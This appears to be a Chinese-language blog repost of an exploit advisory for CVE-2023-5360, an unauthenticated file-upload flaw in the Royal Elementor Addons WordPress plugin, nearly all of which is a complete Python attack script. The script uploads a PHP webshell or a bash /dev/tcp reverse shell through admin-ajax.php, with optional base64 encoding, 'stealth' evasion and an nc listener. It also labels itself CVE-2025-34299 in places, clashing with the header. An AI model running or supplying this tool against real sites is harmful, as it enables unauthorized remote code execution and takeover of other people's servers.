Royal Elementor 插件未授权远程代码执行漏洞 (CVE-2023-5360) 深度剖析

本文详细分析了一个针对Royal Elementor Addons插件的高危漏洞(CVE-2023-5360)。该漏洞源于未加限制的文件上传(CWE-434),允许未授权攻击者在目标网站上上传恶意PHP文件并执行任意代码,风险等级高。文中附带了完整的Python利用脚本。

Royal Elementor Addons - 未授权远程代码执行

日期: 2025.11.24 信用: ibrahimsql 风险等级: 高 本地利用: 否 远程利用: 是 CVE编号: CVE-2023-5360 CWE编号: CWE-434

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#!/usr/bin/env python3
# 标题 Royal Elementor Addons - 未授权远程代码执行 CVE-2023-5360
# 作者 @ibrahimsql https://ibrahimsql.com
# 日期 10/17/2025
# 供应商 https://royal-elementor-addons.com/
# 参考  https://nvd.nist.gov/vuln/detail/CVE-2023-5360
#  https://github.com/ibrahmsql

import argparse
import base64
import json
import random
import re
import requests
import string
import subprocess
import sys
import threading
import time
from io import BytesIO
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
]

class RoyalElementorExploit:
    def __init__(self, target, stealth=False, verbose=False):
        self.target = target.rstrip('/')
        self.parsed = urlparse(target)
        self.root = f"{self.parsed.scheme}://{self.parsed.netloc}"
        self.session = requests.Session()
        self.stealth = stealth
        self.verbose = verbose
        self.nonce = None
        
        if stealth:
            self.session.headers.update({'User-Agent': random.choice(USER_AGENTS)})
        else:
            self.session.headers.update({'User-Agent': 'python-requests'})
    
    def log(self, msg, level="info"):
        prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
        if level == "debug" and not self.verbose:
            return
        print(f"{prefix.get(level, '[*]')} {msg}")
    
    def verify_target(self):
        self.log("验证目标漏洞...")
        try:
            r = self.session.get(self.target, timeout=10, verify=False)
            if r.status_code != 200:
                self.log(f"目标返回 HTTP {r.status_code}", "error")
                return False
            if "elementor" not in r.text.lower():
                self.log("目标似乎未使用 Elementor", "error")
                return False
            self.log("目标验证成功", "success")
            return True
        except Exception as e:
            self.log(f"连接失败: {e}", "error")
            return False
    
    def extract_nonce(self):
        self.log("提取 Elementor Nonce...")
        if self.stealth:
            time.sleep(random.uniform(0.5, 2.0))
        
        try:
            r = self.session.get(self.target, timeout=10, verify=False)
            match = re.search(r'WprConfig\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', r.text)
            if not match:
                self.log("提取 Nonce 失败", "error")
                return False
            
            self.nonce = match.group(1)
            self.log(f"Nonce 已提取: {self.nonce}", "success")
            return True
        except Exception as e:
            self.log(f"Nonce 提取失败: {e}", "error")
            return False
    
    def generate_payload(self, mode, lhost=None, lport=None, encode=False):
        shell_name = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
        
        if mode == "webshell":
            cmd_param = ''.join(random.choices(string.ascii_letters, k=6))
            payload = f"<?php if(isset($_GET['{cmd_param}'])) {{system($_GET['{cmd_param}']);}} unlink(__FILE__); ?>"
            return payload, shell_name, cmd_param
        
        elif mode == "reverse":
            shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
            if encode:
                encoded = base64.b64encode(shell_cmd.encode()).decode()
                payload = f"<?php exec(base64_decode('{encoded}')); unlink(__FILE__); ?>"
            else:
                payload = f"<?php exec(\"{shell_cmd}\"); unlink(__FILE__); ?>"
            return payload, shell_name, None
        
        return None, None, None
    
    def upload_payload(self, payload, shell_name, retries=3):
        self.log(f"上传载荷 (重试次数: {retries})...")
        
        for attempt in range(1, retries + 1):
            self.log(f"尝试 {attempt}/{retries}", "debug")
            
            if self.stealth and attempt > 1:
                time.sleep(random.uniform(1.0, 3.0))
            
            data = {
                'wpr_addons_nonce': self.nonce,
                'max_file_size': 100,
                'allowed_file_types': ',',
                'action': 'wpr_addons_upload_file',
                'triggering_event': 'click'
            }
            
            files = {
                'uploaded_file': (f"{shell_name}.php.", BytesIO(payload.encode()))
            }
            
            try:
                r = self.session.post(
                    f"{self.root}/wp-admin/admin-ajax.php",
                    data=data,
                    files=files,
                    timeout=15,
                    verify=False
                )
                
                self.log(f"上传响应: HTTP {r.status_code}", "debug")
                
                response_data = r.json()
                shell_url = response_data.get('data', {}).get('url')
                
                if shell_url:
                    self.log(f"载荷已上传: {shell_url}", "success")
                    return shell_url
                
                self.log(f"上传失败: {response_data}", "debug")
                
            except Exception as e:
                self.log(f"上传尝试失败: {e}", "debug")
        
        self.log("所有上传尝试均失败", "error")
        return None
    
    def trigger_shell(self, shell_url, mode):
        self.log("触发载荷...")
        
        try:
            r = self.session.get(shell_url, timeout=5, verify=False)
            if mode == "reverse":
                self.log("反向 Shell 已触发 (预期会超时)", "success")
            else:
                self.log(f"Shell 已触发: HTTP {r.status_code}", "success")
            return True
        except requests.exceptions.Timeout:
            if mode == "reverse":
                self.log("反向 Shell 已触发 (超时属正常情况)", "success")
                return True
        except Exception as e:
            self.log(f"触发失败: {e}", "error")
            return False
    
    def exploit(self, mode, lhost=None, lport=None, encode=False, listen=False):
        if not self.verify_target():
            return False
        
        if not self.extract_nonce():
            return False
        
        payload, shell_name, cmd_param = self.generate_payload(mode, lhost, lport, encode)
        if not payload:
            self.log("载荷生成失败", "error")
            return False
        
        if mode == "reverse" and listen:
            self.log(f"在 {lhost}:{lport} 上启动监听器...")
            listener_thread = threading.Thread(
                target=lambda: subprocess.call(['nc', '-lvnp', str(lport)]),
                daemon=True
            )
            listener_thread.start()
            time.sleep(2)
        
        shell_url = self.upload_payload(payload, shell_name)
        if not shell_url:
            return False
        
        if mode == "webshell":
            self.log(f"Webshell 地址: {shell_url}?{cmd_param}=<command>", "success")
            self.log(f"示例: {shell_url}?{cmd_param}=id", "success")
            return True
        
        elif mode == "reverse":
            self.trigger_shell(shell_url, mode)
            if listen:
                self.log("检查您的监听器是否有连接!", "success")
            return True

def main():
    parser = argparse.ArgumentParser(
        description="Royal Elementor Addons CVE-2025-34299 漏洞利用 (CVSS 9.8)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
示例:
  python3 exploit.py http://target.com/page --mode webshell --stealth
  python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --listen
  python3 exploit.py http://target.com/page --mode reverse --lhost 10.10.10.5 --lport 4444 --encode --stealth
        """
    )
    
    parser.add_argument("target", help="目标 Elementor 页面 URL")
    parser.add_argument("--mode", choices=["webshell", "reverse"], default="webshell", 
                       help="攻击模式 (默认: webshell)")
    parser.add_argument("--lhost", help="监听主机 (用于反向 Shell)")
    parser.add_argument("--lport", type=int, help="监听端口 (用于反向 Shell)")
    parser.add_argument("--listen", action="store_true", help="启动内置监听器 (nc)")
    parser.add_argument("--encode", action="store_true", help="Base64 编码载荷")
    parser.add_argument("--stealth", action="store_true", help="启用隐身模式 (随机UA + 延迟)")
    parser.add_argument("--verbose", "-v", action="store_true", help="详细输出")
    
    args = parser.parse_args()
    
    if args.mode == "reverse" and (not args.lhost or not args.lport):
        parser.error("反向 Shell 模式需要 --lhost 和 --lport 参数")
    
    print(f"[*] Royal Elementor Addons 漏洞利用 (CVE-2025-34299)")
    print(f"[*] CVSS 评分: 9.8 严重 | CWE-434: 无限制文件上传")
    print(f"[*] 目标: {args.target}")
    print(f"[*] 模式: {args.mode.upper()}")
    if args.stealth:
        print(f"[*] 隐身模式: 启用")
    print()
    
    exploit = RoyalElementorExploit(args.target, stealth=args.stealth, verbose=args.verbose)
    
    success = exploit.exploit(
        mode=args.mode,
        lhost=args.lhost,
        lport=args.lport,
        encode=args.encode,
        listen=args.listen
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计